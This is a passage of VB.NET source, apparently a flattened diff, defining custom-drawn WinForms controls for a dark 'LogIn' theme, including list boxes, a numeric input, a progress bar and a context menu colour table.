MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Properties" + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + + Case Else + Return _Value + + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(75, 30) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim GP, GP1 As New GraphicsPath + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height - 4)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Over + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 5)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Down + .FillRectangle(New SolidBrush(_PressedColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 5)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + Select Case _Value + Case 0 + Case _Maximum + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, Height - 4, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + Case Else + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, Height - 4, Width / _Maximum * _Value, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + End Select + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInGroupBox + Inherits ContainerControl + +#Region "Declarations" + Private _MainColour As Color = Color.FromArgb(47, 47, 47) + Private _HeaderColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "Properties" + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property HeaderColour As Color + Get + Return _HeaderColour + End Get + Set(value As Color) + _HeaderColour = value + End Set + End Property + + + Public Property MainColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(160, 110) + Font = New Font("Segoe UI", 10, FontStyle.Bold) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(54, 54, 54)) + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 28, Width, Height)) + .FillRectangle(New SolidBrush(_HeaderColour), New Rectangle(0, 0, .MeasureString(Text, Font).Width + 7, 28)) + .DrawString(Text, Font, New SolidBrush(_TextColour), New Point(5, 5)) + Dim P() As Point = {New Point(0, 0), New Point(.MeasureString(Text, Font).Width + 7, 0), New Point(.MeasureString(Text, Font).Width + 7, 28), _ + New Point(Width - 1, 28), New Point(Width - 1, Height - 1), New Point(1, Height - 1), New Point(1, 1)} + .DrawLines(New Pen(_BorderColour), P) + .DrawLine(New Pen(_BorderColour, 2), New Point(0, 28), New Point(.MeasureString(Text, Font).Width + 7, 28)) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + +Public Class LogInSeperator + Inherits Control + +#Region "Declarations" + Private _SeperatorColour As Color = Color.FromArgb(35, 35, 35) + Private _Alignment As Style = Style.Horizontal + Private _Thickness As Single = 1 +#End Region + +#Region "Properties" + + Enum Style + Horizontal + Verticle + End Enum + + + Public Property Thickness As Single + Get + Return _Thickness + End Get + Set(value As Single) + _Thickness = value + End Set + End Property + + + Public Property Alignment As Style + Get + Return _Alignment + End Get + Set(value As Style) + _Alignment = value + End Set + End Property + + + Public Property SeperatorColour As Color + Get + Return _SeperatorColour + End Get + Set(value As Color) + _SeperatorColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + Size = New Size(20, 20) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width - 1, Height - 1) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + Select Case _Alignment + Case Style.Horizontal + .DrawLine(New Pen(_SeperatorColour, _Thickness), New Point(0, Height / 2), New Point(Width, Height / 2)) + Case Style.Verticle + .DrawLine(New Pen(_SeperatorColour, _Thickness), New Point(Width / 2, 0), New Point(Width / 2, Height)) + End Select + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + +Public Class LogInNumeric + Inherits Control + +#Region "Variables" + + Private State As MouseState = MouseState.None + Private MouseXLoc, MouseYLoc As Integer + Private _Value As Long + Private _Minimum As Long = 0 + Private _Maximum As Long = 9999999 + Private BoolValue As Boolean + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _ButtonColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _SecondBorderColour As Color = Color.FromArgb(0, 191, 255) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + +#End Region + +#Region "Properties & Events" + + Public Property Value As Long + Get + Return _Value + End Get + Set(value As Long) + If value <= _Maximum And value >= _Minimum Then _Value = value + Invalidate() + End Set + End Property + + Public Property Maximum As Long + Get + Return _Maximum + End Get + Set(value As Long) + If value > _Minimum Then _Maximum = value + If _Value > _Maximum Then _Value = _Maximum + Invalidate() + End Set + End Property + + Public Property Minimum As Long + Get + Return _Minimum + End Get + Set(value As Long) + If value < _Maximum Then _Minimum = value + If _Value < _Minimum Then _Value = Minimum + Invalidate() + End Set + End Property + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + MouseXLoc = e.Location.X + MouseYLoc = e.Location.Y + Invalidate() + If e.X < Width - 47 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If MouseXLoc > Width - 47 AndAlso MouseXLoc < Width - 3 Then + If MouseXLoc < Width - 23 Then + If (Value + 1) <= _Maximum Then _Value += 1 + Else + If (Value - 1) >= _Minimum Then _Value -= 1 + End If + Else + BoolValue = Not BoolValue + Focus() + End If + Invalidate() + End Sub + + Protected Overrides Sub OnKeyPress(e As KeyPressEventArgs) + MyBase.OnKeyPress(e) + Try + If BoolValue Then _Value = CStr(CStr(_Value) & e.KeyChar.ToString()) + If _Value > _Maximum Then _Value = _Maximum + Invalidate() + Catch : End Try + End Sub + + Protected Overrides Sub OnKeyDown(e As KeyEventArgs) + MyBase.OnKeyDown(e) + If e.KeyCode = Keys.Back Then + Value = 0 + End If + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 24 + End Sub + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ButtonColour As Color + Get + Return _ButtonColour + End Get + Set(value As Color) + _ButtonColour = value + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + _ + Public Property SecondBorderColour As Color + Get + Return _SecondBorderColour + End Get + Set(value As Color) + _SecondBorderColour = value + End Set + End Property + + _ + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 10) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width, Height) + Dim CenterSF As New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Center} + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ButtonColour), New Rectangle(Width - 48, 0, 48, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), Base) + .DrawLine(New Pen(_SecondBorderColour), New Point(Width - 48, 1), New Point(Width - 48, Height - 2)) + .DrawLine(New Pen(_BorderColour), New Point(Width - 24, 1), New Point(Width - 24, Height - 2)) + .DrawLine(New Pen(_FontColour), New Point(Width - 36, 7), New Point(Width - 36, 17)) + .DrawLine(New Pen(_FontColour), New Point(Width - 31, 12), New Point(Width - 41, 12)) + .DrawLine(New Pen(_FontColour), New Point(Width - 17, 13), New Point(Width - 7, 13)) + .DrawString(Value, Font, New SolidBrush(_FontColour), New Rectangle(5, 1, Width, Height), New StringFormat() With {.LineAlignment = StringAlignment.Center}) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInColourTable + Inherits ProfessionalColorTable + +#Region "Declarations" + + Private _BackColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _SelectedColour As Color = Color.FromArgb(47, 47, 47) + +#End Region + +#Region "Properties" + + + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property BackColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + Public Overrides ReadOnly Property ButtonSelectedBorder() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckPressedBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property CheckSelectedBackground() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientBegin() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientEnd() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientMiddle() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property MenuBorder() As Color + Get + Return _BorderColour + End Get + End Property + + Public Overrides ReadOnly Property MenuItemBorder() As Color + Get + Return _BackColour + End Get + End Property + + Public Overrides ReadOnly Property MenuItemSelected() As Color + Get + Return _SelectedColour + End Get + End Property + + Public Overrides ReadOnly Property SeparatorDark() As Color + Get + Return _BorderColour + End Get + End Property + + Public Overrides ReadOnly Property ToolStripDropDownBackground() As Color + Get + Return _BackColour + End Get + End Property + +#End Region + +End Class + +Public Class LogInListBox + Inherits Control + +#Region "Variables" + + Private WithEvents ListB As New ListBox + Private _Items As String() = {""} + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _SelectedColour As Color = Color.FromArgb(55, 55, 55) + Private _ListBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + +#End Region + +#Region "Properties" + + _ + Public Property Items As String() + Get + Return _Items + End Get + Set(value As String()) + _Items = value + ListB.Items.Clear() + ListB.Items.AddRange(value) + Invalidate() + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + _ + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ListBaseColour As Color + Get + Return _ListBaseColour + End Get + Set(value As Color) + _ListBaseColour = value + End Set + End Property + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Public ReadOnly Property SelectedItem() As String + Get + Return ListB.SelectedItem + End Get + End Property + + Public ReadOnly Property SelectedIndex() As Integer + Get + Return ListB.SelectedIndex + If ListB.SelectedIndex < 0 Then Exit Property + End Get + End Property + + Public Sub Clear() + ListB.Items.Clear() + End Sub + + Public Sub ClearSelected() + For i As Integer = (ListB.SelectedItems.Count - 1) To 0 Step -1 + ListB.Items.Remove(ListB.SelectedItems(i)) + Next + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(ListB) Then + Controls.Add(ListB) + End If + End Sub + + Sub AddRange(ByVal items As Object()) + ListB.Items.Remove("") + ListB.Items.AddRange(items) + End Sub + + Sub AddItem(ByVal item As Object) + ListB.Items.Remove("") + ListB.Items.Add(item) + End Sub + +#End Region + +#Region "Draw Control" + + Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) Handles ListB.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + With e.Graphics + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = InterpolationMode.HighQualityBicubic + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + If InStr(e.State.ToString, "Selected,") > 0 Then + .FillRectangle(New SolidBrush(_SelectedColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height - 1)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 9, FontStyle.Bold), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + Else + .FillRectangle(New SolidBrush(_ListBaseColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 8), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + End If + .Dispose() + End With + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + ListB.DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + ListB.ScrollAlwaysVisible = False + ListB.HorizontalScrollbar = False + ListB.BorderStyle = BorderStyle.None + ListB.BackColor = _BaseColour + ListB.Location = New Point(3, 3) + ListB.Font = New Font("Segoe UI", 8) + ListB.ItemHeight = 20 + ListB.Items.Clear() + ListB.IntegralHeight = False + Size = New Size(130, 100) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + ListB.Size = New Size(Width - 6, Height - 5) + .FillRectangle(New SolidBrush(_BaseColour), Base) + .DrawRectangle(New Pen(_BorderColour, 3), New Rectangle(0, 0, Width, Height - 1)) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInTitledListBox + Inherits Control + +#Region "Variables" + + Private WithEvents ListB As New ListBox + Private _Items As String() = {""} + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _SelectedColour As Color = Color.FromArgb(55, 55, 55) + Private _ListBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TitleFont As New Font("Segeo UI", 10, FontStyle.Bold) + +#End Region + +#Region "Properties" + + + Public Property TitleFont As Font + Get + Return _TitleFont + End Get + Set(value As Font) + _TitleFont = value + End Set + End Property + + _ + Public Property Items As String() + Get + Return _Items + End Get + Set(value As String()) + _Items = value + ListB.Items.Clear() + ListB.Items.AddRange(value) + Invalidate() + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + _ + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ListBaseColour As Color + Get + Return _ListBaseColour + End Get + Set(value As Color) + _ListBaseColour = value + End Set + End Property + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Public ReadOnly Property SelectedItem() As String + Get + Return ListB.SelectedItem + End Get + End Property + + Public ReadOnly Property SelectedIndex() As Integer + Get + Return ListB.SelectedIndex + If ListB.SelectedIndex < 0 Then Exit Property + End Get + End Property + + Public Sub Clear() + ListB.Items.Clear() + End Sub + + Public Sub ClearSelected() + For i As Integer = (ListB.SelectedItems.Count - 1) To 0 Step -1 + ListB.Items.Remove(ListB.SelectedItems(i)) + Next + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(ListB) Then + Controls.Add(ListB) + End If + End Sub + + Sub AddRange(ByVal items As Object()) + ListB.Items.Remove("") + ListB.Items.AddRange(items) + End Sub + + Sub AddItem(ByVal item As Object) + ListB.Items.Remove("") + ListB.Items.Add(item) + End Sub + +#End Region + +#Region "Draw Control" + + Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) Handles ListB.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + With e.Graphics + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = InterpolationMode.HighQualityBicubic + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + If InStr(e.State.ToString, "Selected,") > 0 Then + .FillRectangle(New SolidBrush(_SelectedColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height - 1)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 9, FontStyle.Bold), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + Else + .FillRectangle(New SolidBrush(_ListBaseColour), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + .DrawString(" " & ListB.Items(e.Index).ToString(), New Font("Segoe UI", 8), New SolidBrush(_TextColour), e.Bounds.X, e.Bounds.Y + 2) + End If + .Dispose() + End With + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + ListB.DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + ListB.ScrollAlwaysVisible = False + ListB.HorizontalScrollbar = False + ListB.BorderStyle = BorderStyle.None + ListB.BackColor = BaseColour + ListB.Location = New Point(3, 28) + ListB.Font = New Font("Segoe UI", 8) + ListB.ItemHeight = 20 + ListB.Items.Clear() + ListB.IntegralHeight = False + Size = New Size(130, 100) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + ListB.Size = New Size(Width - 6, Height - 30) + .FillRectangle(New SolidBrush(BaseColour), Base) + .DrawRectangle(New Pen((_BorderColour), 3), New Rectangle(0, 0, Width, Height - 1)) + .DrawLine(New Pen((_BorderColour), 2), New Point(0, 27), New Point(Width - 1, 27)) + .DrawString(Text, _TitleFont, New SolidBrush(_TextColour), New Rectangle(2, 5, Width - 5, 20), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInContextMenu + Inherits ContextMenuStrip + +#Region "Declarations" + + Private _FontColour As Color = Color.FromArgb(55, 255, 255) + +#End Region + +#Region "Properties" + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + Renderer = New ToolStripProfessionalRenderer(New LogInColourTable()) + ShowCheckMargin = False + ShowImageMargin = False + ForeColor = Color.FromArgb(255, 255, 255) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + MyBase.OnPaint(e) + End Sub + +#End Region + +End Class + +Public Class LogInProgressBar + Inherits Control + +#Region "Declarations" + Private _ProgressColour As Color = Color.FromArgb(0, 160, 199) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _FontColour As Color = Color.FromArgb(50, 50, 50) + Private _SecondColour As Color = Color.FromArgb(0, 145, 184) + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _TwoColour As Boolean = True +#End Region + +#Region "Properties" + + Public Property SecondColour As Color + Get + Return _SecondColour + End Get + Set(value As Color) + _SecondColour = value + End Set + End Property + + + Public Property TwoColour As Boolean + Get + Return _TwoColour + End Get + Set(value As Boolean) + _TwoColour = value + End Set + End Property + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Invalidate() + Case Else + Return _Value + Invalidate() + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Events" + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 25 + End Sub + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Height = 25 + End Sub + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B = New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Dim ProgVal As Integer = CInt(_Value / _Maximum * Width) + Select Case Value + Case 0 + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + .DrawRectangle(New Pen(_BorderColour, 3), Base) + Case _Maximum + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + G.SetClip(New Rectangle(0, -10, Width * _Value / _Maximum - 1, Height - 5)) + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + G.DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(i, 0), New Point(i - 15, Height)) + Next + G.ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 3), Base) + Case Else + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + .SetClip(New Rectangle(0, 0, Width * _Value / _Maximum - 1, Height - 1)) + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + .DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(i, 0), New Point(i - 10, Height)) + Next + .ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 3), Base) + End Select + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInRichTextBox + Inherits Control + +#Region "Declarations" + Private WithEvents TB As New RichTextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "Properties" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + +#End Region + +#Region "Events" + + Public Sub AppendText(ByVal AppendingText As String) + TB.Focus() + TB.AppendText(AppendingText) + Invalidate() + End Sub + + Overrides Property Text 